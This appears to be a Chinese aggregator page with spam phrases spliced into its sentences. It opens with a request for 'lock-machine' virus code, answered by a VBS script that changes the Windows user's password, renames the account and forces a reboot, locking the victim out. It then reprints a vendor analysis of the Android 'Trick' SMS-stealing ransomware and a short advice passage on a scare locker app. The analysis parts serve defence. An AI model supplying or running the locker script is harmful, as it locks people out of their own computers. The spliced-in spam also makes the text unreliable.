1.求一段bat锁机代码或者一些无法关闭的手机锁机病毒
2.追踪 | “中国移动”App 竟然是锁机病毒，幕后主使是病毒一名高中生“黑客”
3.如何看待惊吓钓鱼类锁机病毒软件(化名“天眼查询系统”“

求一段bat锁机代码或者一些无法关闭的病毒

       以下不是bat，但和bat差不多，码手下载文本文档里，机锁机病只不过后缀名改为vbs，毒下而不是手机锁机锐车2.0 源码bat，是病毒用来锁机的

       On Error Resume Next

       Dim fso,ws,file,shut,password

       password="zxc."

       Set fso=Wscript.CreateObject("Scripting.FileSystemObject")

       Set ws=Wscript.CreateObject("Wscript.Shell")

       fol=fso.GetSpecialFolder(1)

       file=fol & "\net.exe"

       shut=fol & "\shutdown.exe"

       ws.run file & " user %UserName% "+Chr() & password & Chr(),0,True

       ws.Run "wmic.exe useraccount where name='%username%' call Rename ""一个"+Chr

       (),0,True

       ws.run shut & " /r /f /t 0",0

追踪 | “中国移动”App 竟然是锁机病毒，幕后主使是码手一名高中生“黑客”

       安全专家发现一款带有勒索功能的恶意拦截软件Trick，极具诱导性。机锁机病令人惊讶的毒下是，这款病毒竟然是手机锁机由一名高中生所编写。

       近期，病毒安天AVL移动安全团队和小米MIUI安全中心发现Trick病毒，码手经过样本溯源，机锁机病发现该病毒出自国内一名高中生之手。毒下病毒伪装成中国移动，通过免费话费短信诱导用户下载安装。

       病毒运行后，会执行以下恶意行为：

       1.窃取用户短信信息：病毒首先获取用户手机中的仿云盘 源码所有短信，以邮件正文的形式上传至指定邮箱，并写入txt文件中，通过邮箱上传，邮件标题为“短信”。

       2.激活设备管理器：病毒诱导用户激活设备管理器，若成功激活，则提示用户重启软件。

       3.隐藏图标：激活设备管理器后，病毒弹出虚假对话框，手机糗百源码提示虚假信息“程序异常已自动卸载”，并隐藏启动图标。

       4.接收短信指令进行远控行为：病毒隐藏图标后，继续在后台运行监听系统接收短信的广播。接收到主控手机发送的短信后，执行以下操作：

       指令1：锁机

       指令2：短信

       指令3：群发

       5.实时上传短信：病毒通过监听系统接收短信的广告，将非主控手机发送的短信通过邮件实时上传，邮件标题为“小伟拦截马”。

       6.卸载程序锁机：病毒运行后会启动设备管理器，cscc.lib 源码用户卸载应用之前必须先取消激活设备管理器。一旦监测到用户执行取消激活设备管理器的操作时，病毒会直接将用户手机锁屏并勒索。

       7.第三方推送服务：病毒实现了Bmob的第三方推送服务功能，在当前程序中未对推送消息进行处理，推测后续版本可能实现更多指令控制或其他功能。

       通过分析，我们推断出该恶意开发者极有可能是来自四川省德阳市下某高中的一名高中生。

       总结：Trick病毒伪装成中国移动，领读阿里dubbo源码以免费获取话费的钓鱼短信诱导用户下载并安装病毒。病毒运行后窃取用户的短信内容并上传至指定邮箱，同时向联系人群发钓鱼短信进行恶意传播。此外，病毒通过短信指令远控执行恶意行为，后续可能进一步形成僵尸网络。

       病毒虽然没有窃取用户账户密码的恶意功能，但从恶意开发者邮箱内的短信内容可以合理推断出该恶意开发者极有可能通过其他渠道获取用户的QQ、微信、甚至银行账户等隐私信息，后续通过解绑、改密的方式登录用户账户，对用户财产造成极大的安全风险。

       一个出自高中生之手的病毒技术如此高明，让我们深感如今高中生信息技术水平之高的同时，也警醒我们应该加强对网络安全感兴趣的年轻人的正向引导，将他们的技术天赋应用在对抗网络攻击上，而不是开发病毒窃取别人的隐私、财产，否则黑客最终将会受到法律制裁。

       针对Trick拦截马病毒，集成AVL反病毒引擎的MIUI安全中心已经实现全面查杀。安天AVL移动安全团队和MIUI安全中心提醒您：警惕此类病毒，确保手机安全。

如何看待惊吓钓鱼类锁机病毒软件(化名“天眼查询系统”“

       该病毒实质上是一个安卓手机专用的apk程序，需要用户授权才能有效运行。程序文件名极其低俗，是无法理解的行为。要防止感染病毒，切勿下载不明来源的软件，进行权限授权时需谨慎。

       如已中病毒，请立即关机并寻找方法终止该程序，接着卸载相关应用。若QQ被篡改，应尽快恢复。在我在虚拟机上进行的测试中，未授权的程序仅会显示恶心及恐怖音效，对QQ功能无影响。